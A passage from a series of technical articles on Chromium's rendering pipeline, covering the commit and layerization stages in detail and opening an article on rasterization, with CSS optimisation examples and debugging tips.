**Atomicity Guarantee**: JavaScript often makes multiple DOM modifications in a single event handler:

```javascript
element.style.transform = "translateX(100px)"
element.style.opacity = "0.5"
element.style.backgroundColor = "red"
```

Without atomic commit, the compositor might receive transform and opacity changes but miss the background change—producing a visually inconsistent frame. The blocking commit ensures all modifications within a call stack appear together.

**Thread Safety Without Locking**: Alternative designs could use per-property locks or lock-free data structures, but these add complexity and overhead. Blocking for a few milliseconds is acceptable because:

- Commits are fast (typically <3ms)
- The main thread was already idle (waiting for vsync)
- Immediate release enables main thread to start frame N+1 while compositor rasterizes frame N

**Historical Context**: Early Chrome versions attempted non-blocking commits with complex synchronization. The blocking model proved simpler and more predictable, with minimal performance penalty for typical workloads.

---

## Data Transfer: Property Trees

The property tree architecture is central to efficient commits. Rather than transferring a monolithic "layer tree" with entangled spatial relationships, Chromium uses four independent trees.

### The Four Property Trees

| Tree          | Node Type       | What It Represents                              | Example CSS                                 |
| :------------ | :-------------- | :---------------------------------------------- | :------------------------------------------ |
| **Transform** | `TransformNode` | 2D transform matrices, including scroll offsets | `transform`, `translate`, scroll containers |
| **Clip**      | `ClipNode`      | Rectangular clip regions                        | `overflow: hidden`, `clip-path`             |
| **Effect**    | `EffectNode`    | Opacity, filters, blend modes, masks            | `opacity`, `filter`, `mix-blend-mode`       |
| **Scroll**    | `ScrollNode`    | Scroll behavior and offset synchronization      | `overflow: scroll`, scroll containers       |

Each DOM element receives a **PropertyTreeState**—a 4-tuple of node IDs `(transform_id, clip_id, effect_id, scroll_id)`. This design decouples spatial relationships from the DOM hierarchy.

### Why Property Trees Improve Commit

**Before property trees (legacy architecture):** The compositor received a "Layer Tree" where each layer encoded its position relative to ancestors. Moving an element required:

1. Updating the layer's position
2. Walking all descendant layers to recalculate their world-space positions
3. Complexity: $O(\text{total layers})$ per change

**With property trees:** Transform changes update only the affected `TransformNode`. Descendant elements reference this node by ID; their world-space transforms are computed lazily by walking from node to root.

- Complexity: $O(\text{tree depth})$ per change
- Typical tree depth: 5-10 levels, even on complex pages

**Real-world impact**: A page with 1,000 promoted layers and a transform animation on a container:

- Legacy: ~1,000 layer updates per frame
- Property trees: 1 transform node update, descendants computed on demand

### PropertyTreeState and Paint Chunks

During the [Paint](../crp-paint/README.md) stage, display items are grouped into **paint chunks** based on their PropertyTreeState. Adjacent display items with identical `(transform_id, clip_id, effect_id, scroll_id)` share a chunk.

During commit:

1. Blink's property trees are converted to `cc` property trees
2. Paint chunks reference property tree nodes by ID
3. The compositor can apply transforms/effects without re-rasterizing—just update the node and recomposite

This separation is why `transform` and `opacity` animations don't require re-paint or re-rasterization: only the property tree node value changes.

---

## The Dual-Tree Architecture

Commit doesn't push directly to the "active" tree that's currently being displayed. Instead, it targets the **pending tree**—a staging area that allows rasterization to proceed without visual artifacts.

### Pending vs. Active Trees

| Tree             | Purpose                                                | Updated By |
| :--------------- | :----------------------------------------------------- | :--------- |
| **Pending Tree** | Receives new commits; tiles are rasterized here        | Commit     |
| **Active Tree**  | Currently displayed; handles animations, scroll, input | Activation |
| **Recycle Tree** | Cached for allocation reuse (optional)                 | Tree swap  |

**Why two trees?** Without this separation, committing a new frame would immediately expose partially-rasterized content. Users would see **checkerboard artifacts**—empty rectangles where tiles haven't finished rasterizing.

The dual-tree design ensures:

1. Commit populates the pending tree
2. `TileManager` schedules rasterization for pending tree tiles
3. Activation proceeds only when viewport tiles are ready
4. Active tree continues handling scroll/animation during rasterization

### Activation and Blocking

Activation (`pending → active`) is the second critical synchronization point. The `SchedulerStateMachine` tracks:

- Which tiles are required for the current viewport ("NOW" priority)
- Whether rasterization has completed for required tiles
- Whether a new commit is waiting

**Key constraint**: A second commit cannot begin while a pending tree exists. If the main thread calls `NotifyReadyToCommit` before activation:

1. ProxyMain blocks at the mutex
2. Compositor completes current rasterization
3. Activation occurs (pending → active)
4. Pending tree becomes empty
5. Commit proceeds to new pending tree
6. ProxyMain unblocks

This mechanism bounds pipeline depth to two frames: active tree displaying frame N while pending tree rasterizes frame N+1.

### Back-Pressure and Frame Pacing

The activation requirement creates **back-pressure**: if rasterization is slow, commits wait. This prevents unbounded queue growth but can cause jank if commit waits exceed frame budget.

**Symptoms of back-pressure:**

- Main thread stalls in DevTools flame chart with "Commit" marker
- Input events appear delayed (INP degradation)
- `PipelineReporter` traces show "Waiting for activation"

**Common causes:**

- Too many compositor layers (memory pressure)
- Complex display lists (slow rasterization)
- GPU driver issues (slow tile upload)

---

## Performance Characteristics

Commit duration directly impacts frame timing. Understanding what contributes to commit cost helps diagnose performance issues.

### What Takes Time During Commit

| Phase                          | Typical Cost | What Increases It                         |
| :----------------------------- | :----------- | :---------------------------------------- |
| **Property tree sync**         | <1ms         | Deep nesting, many effect/clip nodes      |
| **Layer metadata copy**        | 0.5-2ms      | High layer count (>100 layers)            |
| **Display list serialization** | 0.5-3ms      | Large display lists, complex paint chunks |
| **Mutex acquisition**          | <0.1ms       | Compositor busy with previous frame       |

**Typical total**: 1-3ms for most pages. Exceeding 5ms indicates a problem.

### Measurement with DevTools

Chrome DevTools and tracing tools expose commit metrics:

1. **Performance panel**: Look for "Commit" blocks in the main thread flame chart
2. **`chrome://tracing`**: Record with "cc" category; `PipelineReporter` events show commit duration and breakdown
3. **Lighthouse**: Excessive commit times manifest as "Long Tasks" and INP (Interaction to Next Paint) issues

**What to look for in `PipelineReporter`:**

```
PipelineReporter::StageType::kBeginImplFrame → ... → kCommit → kActivation → kDraw
```

The `kCommit` stage duration shows how long the main thread was blocked.

### Failure Modes

**Commit Jank**: Commit takes >5ms, consuming frame budget:

- _Cause_: Excessive layer count, complex property trees
- _Symptom_: Dropped frames during animations even when JavaScript is fast
- _Fix_: Reduce promoted layers, simplify DOM structure

**Commit Starvation**: Main thread is busy with JavaScript, delaying commit:

- _Cause_: Long-running tasks block `requestAnimationFrame` callback
- _Symptom_: Animations skip frames; INP degradation
- _Fix_: Break up long tasks; use `scheduler.yield()`

**Activation Blocking**: Commit waits for previous frame's activation:

- _Cause_: Slow rasterization (memory pressure, GPU issues)
- _Symptom_: Main thread "Commit" blocks extend unexpectedly
- _Fix_: Reduce layer count; simplify rasterization workload

**PropertyTreeState Explosion**: Many unique property tree states create many paint chunks:

- _Cause_: Deeply nested transforms, clips, effects
- _Symptom_: High "Layer metadata copy" time
- _Fix_: Flatten DOM structure; avoid unnecessary `isolation: isolate`

---

## Historical Evolution

Understanding how commit evolved clarifies current design decisions.

### Pre-BlinkGenPropertyTrees Era

Before 2017, Blink generated "Layer Trees" that encoded hierarchical relationships directly. The compositor received layers with:

- Absolute positions (computed from ancestor chain)
- Explicit parent-child relationships
- Transform/clip inheritance baked into layer data

**Problems:**

1. Moving an element required updating all descendants
2. Scroll offsets were mixed with transforms, complicating fast-path scroll
3. Layer tree modifications triggered expensive recursive walks
4. The boundary between Blink and `cc` was poorly defined

### BlinkGenPropertyTrees (2017-2019)

BlinkGenPropertyTrees restructured the commit boundary:

- Blink generates property trees with explicit nodes for each transform/clip/effect
- Elements reference nodes by ID, not by hierarchy
- `cc` receives property trees and reconstructs spatial relationships

**Benefits:**

- Transform updates: $O(\text{tree depth})$ instead of $O(\text{total layers})$
- Cleaner Blink/cc interface
- Enabled CompositeAfterPaint

### CompositeAfterPaint (2019-2021, shipped M94)

CompositeAfterPaint moved layer decisions _after_ paint:

```
Legacy:     Style → Layout → Compositing → Paint
Modern:     Style → Layout → Prepaint → Paint → Layerize → Commit → Raster
```

**Impact on commit:**

- Commit receives paint artifacts (display lists + paint chunks) rather than pre-layerized content
- Layer decisions happen in `cc` based on paint output
- Eliminated 22,000 lines of heuristic code
- 3.5% improvement in 99th percentile scroll latency

### Current Architecture (2024+)

The modern commit transfers:

1. **Property trees**: Four trees converted from Blink structures to `cc` nodes
2. **Paint artifacts**: Display items grouped into paint chunks by PropertyTreeState
3. **Layer metadata**: Bounds, compositing reasons, scrollability flags

The `cc` layer tree is derived from paint chunks during layerization, not committed directly from Blink.

---

## Optimization Strategies

Reducing commit duration improves frame timing and INP.

### Reduce Layer Count

Each compositor layer adds metadata copy overhead:

```css
/* ❌ Forces layer promotion for every item */
.list-item {
  will-change: transform;
}

/* ✅ Promote only during animation */
.list-item.animating {
  will-change: transform;
}
```

**Target**: Keep promoted layer count under 100 for typical pages.

### Simplify Property Tree Structure

Deep nesting creates tall property trees:

```html
<!-- ❌ Deep nesting = tall property trees -->
<div style="transform: translate(10px)">
  <div style="opacity: 0.9">
    <div style="filter: blur(1px)">
      <div style="clip-path: circle()">
        <!-- content -->
      </div>
    </div>
  </div>
</div>

<!-- ✅ Flattened = shorter property tree paths -->
<div style="transform: translate(10px); opacity: 0.9; filter: blur(1px)">
  <!-- content with clip-path applied directly -->
</div>
```

### Avoid Unnecessary Stacking Contexts

Properties that create stacking contexts also create effect nodes:

```css
/* ❌ Unnecessary stacking context */
.container {
  position: relative;
  z-index: 1; /* Creates stacking context */
}

/* ✅ Only when actually needed */
.container {
  position: relative;
  /* z-index: auto = no stacking context */
}
```

### Use `contain: strict` for Isolated Widgets

Content containment hints to the browser that subtree changes don't affect layout outside:

```css
.widget {
  contain: strict; /* layout + paint + size containment */
}
```

This can reduce property tree propagation during commit.

---

## Conclusion

Commit is the atomic handoff that enables Chromium's pipelined rendering architecture. The blocking synchronization, while counterintuitive, is the simplest correct solution for ensuring frame consistency without per-property locking.

Key takeaways:

1. **Blocking is intentional**: Ensures atomicity; complexity of lock-free alternatives outweighs the few milliseconds of blocking
2. **Property trees enable efficiency**: $O(\text{tree depth})$ updates instead of $O(\text{total layers})$
3. **Dual-tree architecture prevents artifacts**: Pending tree rasterizes while active tree displays
4. **Back-pressure bounds pipeline depth**: Second commit waits for activation, preventing unbounded queue growth
5. **Commit duration impacts INP**: Exceeding 5ms consumes significant frame budget

For production optimization: minimize layer count, flatten property tree structure, and use DevTools tracing to identify commit bottlenecks when animations or interactions feel sluggish.

---

## Appendix

### Prerequisites

- [Paint Stage](../crp-paint/README.md): Understanding display lists and paint chunks
- [Rasterization](../crp-raster/README.md): How tiles are prioritized and rasterized
- [Compositing](../crp-composit/README.md): How compositor layers are assembled
- Thread synchronization concepts (mutex, blocking calls)

### Terminology

| Term                                | Definition                                                                                      |
| :---------------------------------- | :---------------------------------------------------------------------------------------------- |
| **cc (Chrome Compositor)**          | Multi-threaded system in Chromium handling animation, input, scrolling, and frame production    |
| **ProxyMain**                       | Main-thread component that owns `LayerTreeHost` and initiates commits                           |
| **ProxyImpl**                       | Compositor-thread component that owns pending/active trees and performs commit data copy        |
| **Property Trees**                  | Four specialized trees (transform, clip, effect, scroll) isolating spatial/visual relationships |
| **PropertyTreeState**               | 4-tuple `(transform_id, clip_id, effect_id, scroll_id)` identifying an element's visual context |
| **Pending Tree**                    | Staging tree receiving commits; tiles rasterized here before activation                         |
| **Active Tree**                     | Currently-displayed tree; handles animations and input while pending tree rasterizes            |
| **Activation**                      | Process of swapping pending tree to active after sufficient rasterization                       |
| **SchedulerStateMachine**           | Component managing pipeline state transitions (commit, activate, draw)                          |
| **INP (Interaction to Next Paint)** | Core Web Vital measuring responsiveness from user input to visual update                        |
| **BlinkGenPropertyTrees**           | Architecture where Blink generates property trees rather than compositor layer hierarchies      |
| **CompositeAfterPaint**             | Architecture (M94+) where layer decisions occur after paint, not before                         |

### Summary

- Commit is a **blocking synchronization** where ProxyMain passes a mutex to ProxyImpl
- **Atomicity** ensures multiple JavaScript modifications appear as a unified frame update
- **Property trees** (transform, clip, effect, scroll) enable $O(\text{tree depth})$ updates
- **Dual-tree architecture** (pending/active) prevents checkerboard artifacts during rasterization
- **Activation** gates second commit: pipeline depth bounded to two frames
- Typical commit duration: **1-3ms**; exceeding 5ms indicates performance issues
- **BlinkGenPropertyTrees** and **CompositeAfterPaint** dramatically improved commit efficiency
- Optimize by reducing layer count, flattening property trees, and avoiding unnecessary stacking contexts

### References

- [Chromium: How cc Works](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/how_cc_works.md) — Definitive guide to Chrome's compositor architecture, including commit and activation
- [Chromium: Life of a Frame](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/life_of_a_frame.md) — End-to-end frame pipeline including commit timing
- [Chromium: RenderingNG Architecture](https://developer.chrome.com/docs/chromium/renderingng-architecture) — Property trees, threading model, and process architecture
- [Chromium: RenderingNG Data Structures](https://developer.chrome.com/docs/chromium/renderingng-data-structures) — Property tree structure and PropertyTreeState semantics
- [Chromium: BlinkNG](https://developer.chrome.com/docs/chromium/blinkng) — BlinkGenPropertyTrees and CompositeAfterPaint evolution
- [Chromium: Compositor Thread Architecture](https://www.chromium.org/developers/design-documents/compositor-thread-architecture/) — Threading model and synchronization design
- [Chromium: cc README](https://chromium.googlesource.com/chromium/src/+/HEAD/cc/README.md) — Compositor implementation overview
- [W3C: CSS Will-Change Level 1](https://www.w3.org/TR/css-will-change-1/) — Specification for layer promotion hints
- [W3C: CSS Containment Module Level 2](https://www.w3.org/TR/css-contain-2/) — Containment specification for optimization
- [web.dev: Interaction to Next Paint (INP)](https://web.dev/articles/inp) — Core Web Vital impacted by commit timing

---

## Critical Rendering Path: Layerize

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-layerize
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** The Layerize stage converts paint chunks into composited layers (cc::Layer objects), determining how display items should be grouped for independent rasterization and animation. This process happens after Paint produces the paint artifact and before Rasterization converts those layers into GPU textures.

# Critical Rendering Path: Layerize

The Layerize stage converts paint chunks into composited layers (`cc::Layer` objects), determining how display items should be grouped for independent rasterization and animation. This process happens after [Paint](../crp-paint/README.md) produces the paint artifact and before [Rasterization](../crp-raster/README.md) converts those layers into GPU textures.

<figure>

![Layerization in the RenderingNG pipeline (M94+): PaintArtifactCompositor converts paint chunks to cc::Layers on the main thread, which are then committed to the compositor thread for rasterization.](./layerization-in-the-renderingng-pipeline-m94-paintartifactcompositor-converts-pa.svg)

<figcaption>Layerization in the RenderingNG pipeline (M94+): PaintArtifactCompositor converts paint chunks to cc::Layers on the main thread, which are then committed to the compositor thread for rasterization.</figcaption>

</figure>

## Abstract

Layerization is the **merging and grouping** phase that converts paint output into compositor-ready structures.

**The Core Model:**

```
Paint Chunks → PendingLayers → cc::Layers + cc::PropertyTrees
     ↑              ↑                ↑
     │              │                │
  input        intermediate      output
(per PropertyTreeState)  (merged groups)  (compositor-ready)
```

**Key decisions:**

| Decision                                         | Rationale                                         | Trade-off                                                |
| :----------------------------------------------- | :------------------------------------------------ | :------------------------------------------------------- |
| **Merge by default**                             | Fewer layers → less GPU memory                    | More display items per layer → larger rasterization cost |
| **Separate on compositor-changeable properties** | Transform/opacity animations need isolated layers | More layers for animatable content                       |
| **Prevent merge on overlap**                     | Maintain correct z-ordering                       | Forces layer creation for overlapping content            |
| **Sparsity tolerance**                           | Avoid wasting GPU memory on large empty areas     | Algorithm complexity in bounds calculation               |

**Why separate from Paint?** CompositeAfterPaint (M94) moved layerization after paint because:

1. Paint produces immutable output—no circular dependencies
2. Runtime factors (memory pressure, overlap analysis) inform layer decisions
3. The main thread completes paint recording before layerization begins

**Why not on compositor thread?** Layerization examines the paint artifact, which lives on the main thread. The compositor thread receives the finalized layer list and property trees during [Commit](../crp-commit/README.md).

---

## The Layerization Algorithm

The `PaintArtifactCompositor` implements layerization via `LayerizeGroup()`, converting paint chunks into compositor layers through a two-phase process.

### Phase 1: Create PendingLayers

Each paint chunk initially becomes a `PendingLayer`—an intermediate representation that may later merge with others.

```
Paint Chunk A (transform_id=1, clip_id=1, effect_id=1) → PendingLayer A
Paint Chunk B (transform_id=1, clip_id=1, effect_id=1) → PendingLayer B
Paint Chunk C (transform_id=2, clip_id=1, effect_id=1) → PendingLayer C
```

**What PendingLayer holds:**

| Field                      | Purpose                                                              |
| :------------------------- | :------------------------------------------------------------------- |
| `chunks_`                  | Paint chunk subset (display items + property tree state)             |
| `bounds_`                  | Bounding rectangle in property tree state space                      |
| `property_tree_state_`     | Transform, clip, effect node IDs                                     |
| `compositing_type_`        | Classification (scroll hit test, foreign, scrollbar, overlap, other) |
| `rect_known_to_be_opaque_` | Region guaranteed fully opaque (for optimization)                    |
| `hit_test_opaqueness_`     | Whether hit testing can bypass main thread                           |

### Phase 2: Merge PendingLayers

The algorithm attempts to combine PendingLayers to reduce layer count. Merging succeeds when:

1. **Compatible PropertyTreeState**: Adjacent chunks share the same transform, clip, and effect ancestors
2. **No overlap conflicts**: The chunk doesn't interleave with content already assigned to incompatible layers
3. **Within sparsity tolerance**: Combined bounds don't waste excessive GPU memory (`kMergeSparsityAreaTolerance`)

When PropertyTreeStates differ but merging is still beneficial, the algorithm **flattens** the difference by emitting paired display items that adjust the chunk's state to match the target layer.

### Merge Prevention: Direct Compositing Reasons

Certain property nodes carry **direct compositing reasons** that prevent merging:

| Reason                       | CSS Trigger                            | Why Separate Layer Required                   |
| :--------------------------- | :------------------------------------- | :-------------------------------------------- |
| **3D/Perspective transform** | `transform: rotate3d()`, `perspective` | GPU-native operation; benefits from isolation |
| **Compositor animation**     | `animation` on `transform`/`opacity`   | Compositor updates values without re-raster   |
| **Will-change hint**         | `will-change: transform`               | Developer signals animation intent            |
| **Hardware content**         | `<video>`, `<canvas>`, `<iframe>`      | External GPU surface or separate process      |
| **Composited scroll**        | Large scrollable content               | Enables compositor-driven scroll              |

Elements with direct compositing reasons become their own layers regardless of merging opportunities.

### Merge Prevention: Overlap Testing

When a paint chunk overlaps content already assigned to an incompatible layer (different z-order, different PropertyTreeState), it cannot merge with that layer. This **overlap testing** maintains correct visual ordering.

**Example of overlap forcing layer creation:**

```
Layer A: Element with will-change: transform (z-index: 1)
Layer B: ???

Paint Chunk X (z-index: 2, overlaps A)
  → Cannot merge with A (different z-order)
  → Cannot merge with any earlier layer (would violate paint order)
  → Must become new Layer B
```

This cascade can cause **layer explosion**: one promoted element forces neighbors to promote, which forces their neighbors, etc. The compositor mitigates this through **layer squashing**—merging multiple overlapping elements into a single layer when they share the same compositing context.

### Algorithm Complexity

> "In the worst case, this algorithm has an O(n²) running time, where n is the number of PaintChunks."
> — [Chromium Blink Compositing README](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/platform/graphics/compositing/README.md)

The quadratic worst case occurs when every chunk must be checked against every preceding layer for overlap. Typical pages have far fewer problematic interactions, making practical complexity closer to O(n × average_layer_count).

---

## From PendingLayers to cc::Layers

Once the PendingLayer list is finalized, `PaintChunksToCcLayer::Convert()` creates actual compositor layers.

### Layer Types Created

| cc::Layer Type    | Content Source                      | Notes                                              |
| :---------------- | :---------------------------------- | :------------------------------------------------- |
| `PictureLayer`    | Painted content (`cc::PaintRecord`) | Most common; holds display lists for rasterization |
| `SolidColorLayer` | Single-color regions                | Optimization avoiding raster work                  |
| `TextureLayer`    | External GPU textures               | Canvas, WebGL, plugins                             |
| `SurfaceLayer`    | Cross-process content               | Iframes, out-of-process video                      |
| `ScrollbarLayer`  | Scrollbar rendering                 | Solid-color (mobile) or painted (desktop)          |

### Property Tree Conversion

Blink property tree nodes referenced by paint chunks are converted to equivalent `cc::PropertyTree` nodes:

```
Blink TransformNode → cc::TransformTree node
Blink ClipNode → cc::ClipTree node
Blink EffectNode → cc::EffectTree node
Blink ScrollNode → cc::ScrollTree node
```

Each `cc::Layer` stores node IDs pointing into these trees, not hierarchical transform chains. This enables O(1) property lookups during compositing.

**Non-composited nodes** (those merged into layers with different PropertyTreeStates) become meta display items within the layer's paint record, effectively baking the transform/clip/effect into the recorded drawing commands.

### Hit-Test Opaqueness Accumulation

During layerization, hit-test opaqueness propagates from paint chunks to layers:

```
Paint Chunk: hit_test_opaqueness_ = OPAQUE
  ↓ accumulate
cc::Layer: hit_test_opaqueness = OPAQUE (can be hit-tested on compositor thread)
```

This enables the compositor to handle hit testing for opaque regions without consulting the main thread—critical for responsive input during JavaScript execution.

---

## Layerization and Memory Trade-offs

Layer decisions directly impact GPU memory consumption and rasterization cost.

### Memory Cost Per Layer

Each composited layer consumes GPU memory proportional to its pixel area:

**Formula**: `Width × Height × 4 bytes (RGBA)`

| Layer Size          | Memory |
| :------------------ | :----- |
| 1920×1080 (Full HD) | ~8 MB  |
| 2560×1440 (QHD)     | ~14 MB |
| 3840×2160 (4K)      | ~33 MB |

Mobile devices with shared GPU memory (2-4 GB total RAM) exhaust resources quickly. Aggressive layerization can cause:

- Checkerboarding during scroll
- Fallback to software rasterization
- Browser process crashes

### The Merge vs. Separate Trade-off

| Fewer Layers (More Merging)                 | More Layers (Less Merging)                |
| :------------------------------------------ | :---------------------------------------- |
| Lower GPU memory usage                      | Higher GPU memory usage                   |
| Larger rasterization surface per layer      | Smaller, isolated rasterization surfaces  |
| Property changes require re-raster          | Property changes = compositor-only update |
| Single point of failure for complex content | Parallelizable rasterization              |

**Example**: A scrollable list with 100 items:

- **Merged approach**: One `PictureLayer` containing all items. Scrolling uses compositor offset; content change re-rasters entire layer.
- **Separated approach**: 100 `PictureLayer` objects. Each change re-rasters one layer, but uses 100× the memory.

The algorithm balances these by merging by default but separating content expected to change independently.

---

## Optimization: Avoiding Full Layerization

`PaintArtifactCompositor::Update()` is expensive. Chromium implements fast paths for common scenarios:

### Repaint-Only Updates

When display items change but layerization structure remains stable:

```
UpdateRepaintedLayers():
  - Skip LayerizeGroup()
  - Update existing cc::Layer display lists in-place
  - No layer tree reconstruction
```

**Triggers**: Color changes, text updates, background modifications that don't affect bounds or PropertyTreeState.

### Direct Property Updates

Transform or opacity changes that don't affect layer structure:

```
DirectCompositorUpdate():
  - Skip both layerization and display list update
  - Modify cc::PropertyTree nodes directly
  - Compositor applies new values during compositing
```

**Triggers**: `transform` or `opacity` animations on already-promoted layers.

### Raster-Inducing Scroll

Scroll position changes within a composited scroller:

```
kRasterInducingScroll:
  - Minimal update path
  - Adjust scroll offset in property trees
  - Rasterize newly-visible tiles only
```

---

## Historical Evolution

### Pre-CompositeAfterPaint (Before M94)

Layerization occurred _before_ paint:

```
Style → Layout → Compositing (layerization) → Paint
```

**Problems:**

1. **Circular dependency**: Paint invalidation needed current layer decisions; layer decisions needed paint output
2. **Heuristic complexity**: 22,000+ lines of C++ to guess which elements needed layers
3. **Correctness bugs**: Fundamental compositing errors from premature decisions

The codebase relied on `DisableCompositingQueryAsserts` objects to suppress safety checks—a code smell indicating architectural problems.

### CompositeAfterPaint (M94+)

The modern pipeline inverts the order:

```
Style → Layout → Prepaint → Paint → Layerize → Commit → Raster
```

**Benefits:**

- Paint produces immutable output before layerization examines it
- Layer decisions based on actual content, not predictions
- Simpler, more correct algorithm
- Enabled Non-Blocking Commit and off-main-thread compositing improvements

### Slimming Paint Project (2015-2021)

The broader architectural shift from "tree of `cc::Layers`" (GraphicsLayer in Blink terminology) to a "global display list" architecture:

- **BlinkGenPropertyTrees (M75)**: Blink generates property trees instead of cc re-generating them
- **Paint Chunks**: Introduced as intermediate representation for raster invalidation and layerization
- **CompositeAfterPaint (M94)**: Final phase completing the architectural transformation

---

## Debugging Layerization

### Chrome DevTools

**Layers Panel** (More Tools → Layers):

- View compositor layer tree
- See compositing reasons for each layer
- Memory consumption per layer
- Paint counts and slow scroll rects

**Performance Panel**:

- "Layerize" events in flame chart (rare; usually batched with "Commit")
- Layer count changes over time
- Correlation with memory pressure

### Compositor Debugging Flags

```bash
# Enable compositing borders (colored borders around layers)
--show-composited-layer-borders

# Log compositing reasons
--log-compositing-reasons
```

### Common Issues

| Symptom                       | Likely Cause                            | Investigation                                             |
| :---------------------------- | :-------------------------------------- | :-------------------------------------------------------- |
| High GPU memory               | Too many layers or oversized layers     | Layers panel → sort by memory                             |
| Unexpected layers             | Overlap forcing promotion               | Check z-index stacking; look for will-change on ancestors |
| Slow layerization             | Many paint chunks with complex overlaps | Reduce DOM complexity; use contain: strict                |
| Missing compositor animations | Element not promoted                    | Verify will-change or check for direct compositing reason |

---

## Conclusion

Layerization is the decision-making phase that transforms paint output into compositor-ready structures. The algorithm balances GPU memory conservation (merge layers) against animation flexibility (separate layers).

Key takeaways:

1. **PendingLayers are intermediate**: Paint chunks first become PendingLayers, then merge into final cc::Layers
2. **Merging is the default**: Fewer layers means less GPU memory; separation requires explicit reasons
3. **Direct compositing reasons prevent merging**: `will-change`, 3D transforms, compositor animations need isolated layers
4. **Overlap forces layer creation**: Maintaining z-order correctness can cascade into layer explosion
5. **CompositeAfterPaint (M94)** moved layerization after paint, eliminating circular dependencies and enabling a cleaner algorithm
6. **Fast paths exist**: Repaint-only and direct property updates skip full layerization

For production optimization: avoid unnecessary `will-change` (causes layer promotion), use `contain: strict` on independent components (limits overlap cascade), and monitor layer count in DevTools to prevent GPU memory exhaustion.

---

## Appendix

### Prerequisites

- [Paint Stage](../crp-paint/README.md): Understanding paint chunks and display items
- [Commit Stage](../crp-commit/README.md): How layers transfer to compositor thread
- [Rasterization](../crp-raster/README.md): How layers become GPU textures
- [Compositing](../crp-composit/README.md): How layers assemble into frames

### Terminology

| Term                          | Definition                                                                       |
| :---------------------------- | :------------------------------------------------------------------------------- |
| **Paint Chunk**               | Contiguous display items sharing identical PropertyTreeState                     |
| **PendingLayer**              | Intermediate representation during layerization; may merge with others           |
| **cc::Layer**                 | Final compositor layer; input to rasterization                                   |
| **PaintArtifactCompositor**   | Class implementing layerization algorithm                                        |
| **Direct Compositing Reason** | Property requiring dedicated compositor layer (3D transform, will-change, etc.)  |
| **Overlap Testing**           | Checking whether paint chunks interleave with existing layers                    |
| **Layer Squashing**           | Merging multiple overlapping elements into single layer to prevent explosion     |
| **PropertyTreeState**         | 4-tuple (transform_id, clip_id, effect_id, scroll_id) identifying visual context |
| **CompositeAfterPaint (CAP)** | Architecture (M94+) where layerization occurs after paint completes              |
| **Hit-Test Opaqueness**       | Whether compositor can handle hit testing without main thread                    |

### Summary

- **Layerization** converts paint chunks → PendingLayers → cc::Layers
- Algorithm **merges by default** to conserve GPU memory
- **Direct compositing reasons** (will-change, 3D transforms, animations) force separate layers
- **Overlap testing** maintains correct z-ordering but can cause layer explosion
- **CompositeAfterPaint** (M94) eliminated circular dependencies by moving layerization after paint
- **O(n²) worst case** complexity; practical performance much better for typical pages
- **Fast paths** (repaint-only, direct property updates) skip full layerization when possible
- **GPU memory** is the primary constraint: each layer costs `width × height × 4 bytes`

### References

- [Chromium Blink Compositing README](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/platform/graphics/compositing/README.md) — Layerization algorithm and PendingLayer mechanics
- [Chromium Platform Paint README](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/platform/graphics/paint/README.md) — Paint chunks and PaintArtifactCompositor
- [Chromium Core Paint README](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/paint/README.md) — Paint-to-compositing workflow
- [Chromium: How cc Works](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/how_cc_works.md) — Compositor architecture and layer trees
- [Chromium: RenderingNG Architecture](https://developer.chrome.com/docs/chromium/renderingng-architecture) — Pipeline overview and stage responsibilities
- [Chromium: RenderingNG Data Structures](https://developer.chrome.com/docs/chromium/renderingng-data-structures) — Paint chunks, property trees, composited layers
- [Chromium: BlinkNG](https://developer.chrome.com/docs/chromium/blinkng) — CompositeAfterPaint rationale and benefits
- [Chromium: GPU Accelerated Compositing](https://www.chromium.org/developers/design-documents/gpu-accelerated-compositing-in-chrome/) — Compositing reasons and layer squashing
- [Chromium: Slimming Paint](https://www.chromium.org/blink/slimming-paint/) — Historical evolution from GraphicsLayer tree to display list architecture

---

## Critical Rendering Path: Rasterization

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-raster
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** Rasterization is the process where the browser converts recorded display lists into actual pixels—bitmaps for software raster or GPU textures for hardware-accelerated paths. This stage marks the transition from abstract paint commands to concrete visual data. In Chromium, rasterization is managed by the compositor thread and executed by worker threads, ensuring smooth interactions even when the main thread is saturated with JavaScript or layout work.

# Critical Rendering Path: Rasterization

Rasterization is the process where the browser converts recorded display lists into actual pixels—bitmaps for software raster or GPU textures for hardware-accelerated paths. This stage marks the transition from abstract paint commands to concrete visual data. In Chromium, rasterization is managed by the compositor thread and executed by worker threads, ensuring smooth interactions even when the main thread is saturated with JavaScript or layout work.

<figure>

![The Rasterization Pipeline: Display lists flow from the main thread through tiling and scheduling on the compositor thread, then to worker threads for rasterization, with final textures consumed by the Viz process's display compositor.](./the-rasterization-pipeline-display-lists-flow-from-the-main-thread-through-tilin.svg)

<figcaption>The Rasterization Pipeline: Display lists flow from the main thread through tiling and scheduling on the compositor thread, then to worker threads for rasterization, with final textures consumed by the Viz process's display compositor.</figcaption>

</figure>

## Abstract

Rasterization converts display lists into pixels through a tiled, prioritized, multi-threaded architecture designed around three constraints: GPU memory is finite, users scroll faster than pixels can be drawn, and the main thread must remain free for JavaScript.

**The Core Model:**

- **Tiling**: Layers are divided into fixed-size tiles (256×256 px for software, viewport-width × ¼ viewport-height for GPU raster) to bound memory usage and enable incremental rasterization
- **Dual-Tree Architecture**: Pending tree rasterizes new content while active tree continues drawing—activation only occurs when tiles are ready, preventing checkerboard artifacts
- **Prioritization**: Tiles are binned by urgency (NOW, SOON, EVENTUALLY, NEVER) based on viewport distance and scroll velocity, with GPU memory budget distributed in priority order
- **Out-of-Process Execution**: The Viz process owns GPU resources; renderer processes serialize paint commands over IPC (Inter-Process Communication) for security isolation

**The Evolution**: Chromium is transitioning from Ganesh (OpenGL-centric, single-threaded) to Graphite (Vulkan/Metal/D3D12, multi-threaded with depth testing). Graphite achieves ~15% performance gains through reduced overdraw and pipeline pre-compilation.

---

